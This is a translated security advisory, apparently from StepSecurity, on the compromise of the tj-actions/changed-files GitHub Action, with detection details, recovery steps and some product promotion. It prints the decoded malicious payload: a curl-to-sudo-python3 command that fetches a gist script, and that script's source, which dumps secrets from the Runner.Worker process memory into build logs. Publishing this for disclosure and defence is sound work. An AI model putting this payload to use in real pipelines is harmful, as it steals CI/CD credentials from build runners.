超过 2.3 万仓库受影响:Tj-actions/changed-files GitHub Action 遭入侵
Harden-Runner 检测:tj-actions/changed-files Action 被入侵
我们正在调查一起涉及流行的 tj-actions/changed-files GitHub Action 的严重安全事件。我们希望立即提醒您,以便您采取迅速行动。本文将随着新信息的出现而更新。
Varun Sharma 2025 年 3 月 14 日
目录
- Introduction
- Summary of the incident
- StepSecurity Harden-Runner
- Reproducing the Exploit
- Recovery Steps
- Next Steps
Introduction
我们正在积极调查一起涉及 tj-actions/changed-files GitHub Action 的严重安全事件。虽然我们的调查仍在进行中,但我们希望提醒用户,以便他们可以立即采取纠正措施。我们将随着了解更多信息而不断更新这篇文章。StepSecurity Harden-Runner 通过异常检测,当网络流量中出现意外端点时,检测到此问题。根据我们的分析,事件大约从太平洋时间 2025 年 3 月 14 日上午 9:00 / 世界协调时 2025 年 3 月 14 日下午 4:00 开始。如果您需要任何帮助来调查此问题,请通过 support@stepsecurity.io 与我们联系。
更新 1:大多数版本的 tj-actions/changed-files 都已受到影响。
更新 2:我们已检测到多个公共仓库在构建日志中泄露了密钥。由于这些构建日志是公开的,因此任何人都可以窃取这些密钥。如果您维护任何使用此 Action 的公共仓库,请立即查看恢复步骤。
更新 3:GitHub 已删除 tj-actions/changed-files Action。GitHub Actions 工作流无法再使用此 Action。
Summary of the incident
目前在超过 23,000 个仓库中使用的 tj-actions/changed-files GitHub Action 已被入侵。在此次攻击中,攻击者修改了 Action 的代码,并追溯更新了多个版本标签以引用恶意提交。受影响的 Action 会将 CI/CD 密钥打印在 GitHub Actions 构建日志中。如果工作流日志是公开访问的(例如在公共仓库中),任何人都可以潜在地读取这些日志并获取暴露的密钥。
当工作流的网络流量中出现意外端点时,我们的 Harden-Runner 解决方案标记了此问题。这个异常是由 Harden-Runner 的行为监控功能捕获的。
受影响的 Action 现在执行一个恶意的 Python 脚本,该脚本从 Runner Worker 进程中转储 CI/CD 密钥。大多数现有的 Action 发布标签都已更新为引用下面提到的恶意提交。注意:所有这些标签现在都指向同一个恶意提交哈希:0e58ed8671d6b60d0890c21b07f8835ace038e67
,表明对多个版本进行了追溯入侵。”
$ git tag -l | while read -r tag ; do git show --format="$tag: %H" --no-patch $tag ; done | sort -k2
v1.0.0: 0e58ed8671d6b60d0890c21b07f8835ace038e67
...
v35.7.7-sec: 0e58ed8671d6b60d0890c21b07f8835ace038e67
...
v44.5.1: 0e58ed8671d6b60d0890c21b07f8835ace038e67
...
v5: 0e58ed8671d6b60d0890c21b07f8835ace038e67
...
@salolivares 已经确定了在 Action 中引入漏洞利用代码的恶意提交。
https://github.com/tj-actions/changed-files/commit/0e58ed8671d6b60d0890c21b07f8835ace038e67
上面屏幕截图中的 base64 编码字符串包含漏洞利用代码。这是该代码的 base64 解码版本。
if [[ "$OSTYPE" == "linux-gnu" ]]; then
B64_BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' | sort -u | base64 -w 0 | base64 -w 0` echo $B64_BLOB
else exit 0fi
https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py 的内容如下:
#!/usr/bin/env python3
...
def get_pid():
# https://stackoverflow.com/questions/2703640/process-list-on-linux-via-python pids = [pid for pid in os.listdir('/proc') if pid.isdigit()]
for pid in pids:
with open(os.path.join('/proc', pid, 'cmdline'), 'rb') as cmdline_f:
if b'Runner.Worker'in cmdline_f.read():
return pid
raise Exception('Can not get pid of Runner.Worker')
if __name__ == "__main__":
pid = get_pid()
print(pid)
map_path = f"/proc/{pid}/maps" mem_path = f"/proc/{pid}/mem"
with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f:
for line in map_f.readlines(): # for each mapped region
m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)
if m.group(3) == 'r': # readable region
start = int(m.group(1), 16)
end = int(m.group(2), 16)
# hotfix: OverflowError: Python int too large to convert to C long
# 18446744073699065856if start > sys.maxsize:
continue mem_f.seek(start) # seek to region start
try:
chunk = mem_f.read(end - start) # read region contents
sys.stdout.buffer.write(chunk)
except OSError:
continue
尽管 GitHub 显示 renovate 为提交作者,但该提交很可能实际上并非来自 renovate bot。该提交是一个未经验证的提交,因此攻击者很可能提供了 renovate 作为提交作者来隐藏他们的踪迹。
StepSecurity Harden-Runner
StepSecurity Harden-Runner 通过控制网络访问和监控 GitHub 托管和自托管 runners 上的活动来保护 CI/CD 工作流。"Harden-Runner" 这个名称来自于它的目的:加强 GitHub Actions 工作流中使用的 runners 的安全性。Harden-Runner 社区层对开源项目免费。此外,它还提供多个企业功能。
Reproducing the Exploit
当使用 Harden-Runner 执行此 Action 时,您可以看到恶意代码在运行。我们在一个测试仓库中重现了该漏洞。当受损的 tj-actions/changed-files
action 运行时,Harden-Runner 的洞察力清楚地表明它正在下载和执行一个恶意的 Python 脚本,该脚本试图从 GitHub Actions runner 的内存中转储敏感数据。您可以在这里看到该行为:https://app.stepsecurity.io/github/step-security/github-actions-goat/actions/runs/13866127357 要重现此问题,您可以运行以下工作流:
name: "tj-action changed-files incident"
on:
pull_request:
branches:
- main
permissions:
pull-requests: read
jobs:
changed_files:
runs-on: ubuntu-latest
name: Test changed-files
steps:
- name: Harden Runner
uses: step-security/harden-runner@v2
with:
disable-sudo: true egress-policy: audit
- uses: actions/checkout@v4
with:
fetch-depth: 0
# Example 1 - name: Get changed files
id: changed-files
uses: tj-actions/changed-files@v35
- name: List all changed files
run: |
for file in ${{ steps.changed-files.outputs.all_changed_files }}; do echo "$file was changed" done
当执行此工作流时,您可以通过 Harden-Runner 看到恶意行为:
https://app.stepsecurity.io/github/step-security/github-actions-goat/actions/runs/13866127357
当此工作流运行时,您可以在 Harden-Runner 洞察页面中观察到恶意行为。受损的 Action 下载并执行一个恶意的 Python 脚本,该脚本试图从 Actions Runner 进程内存中转储敏感数据。
Recovery Steps
🚨 如果您正在使用任何版本的 tj-actions/changed-files Action,我们强烈建议您立即停止使用它,直到事件解决。
Review Actions Inventory
您应该在您的仓库中执行代码搜索,以发现 tj-actions/changed-files Action 的所有实例。例如,以下 GitHub 搜索 URL 显示了 Actions GitHub 组织中此 Action 的所有实例:https://github.com/search?q=org%3Aactions%20tj-actions%2Fchanged-files%20Action&type=code 请注意,此 GitHub 搜索并不总是返回准确的结果。如果您有专用的源代码搜索解决方案(例如 SourceGraph),它们可能更有效地找到所有正在使用的此 Action 的实例。
Review GitHub Actions workflow run logs
您应该查看 Action 最近执行的日志,看看它是否泄露了密钥。以下是泄露的密钥如何在构建日志中显示的示例。
此步骤对于公共仓库尤其重要,因为它们的日志是公开访问的。
For StepSecurity Enterprise Customers
以下步骤仅适用于 StepSecurity 企业客户。如果您还不是现有企业客户,您可以通过安装 StepSecurity GitHub App 开始我们的 14 天免费试用,以完成以下恢复步骤。
Review Actions Inventory
您可以使用 Actions 清单功能来发现所有使用 tj-actions/changed-files 的 GitHub Actions 工作流。
StepSecurity Maintained changed-files Action
我们为有风险的第三方 Action 提供 安全的替代方案,作为我们企业层的一部分。我们目前正在将此 Action 纳入 StepSecurity Maintained Action。一旦加入,我们的企业客户可以使用 StepSecurity Maintained 版本的 tj-actions/changed-files 而不是受损版本。
Review Harden-Runner Findings
您可以通过访问 StepSecurity 仪表板中的“所有目的地”来查看您的工作流是否调用了 "gist.githubusercontent.com"。如果此端点出现在列表中,请查看调用此端点的工作流运行。
Next Steps
我们已向 GitHub 报告了此问题,并在受影响的仓库中提出了一个 issue:🔗 GitHub Issue #2463
由于该仓库已被删除,因此无法再访问 GitHub issue。
此外,一个官方 CVE 已经发布。
我们将继续监控情况,并在获得更多信息后提供更新。
为了在 GitHub Actions 工作流中进行实时安全监控和主动异常检测,请考虑使用 Harden-Runner 来检测和缓解此类威胁。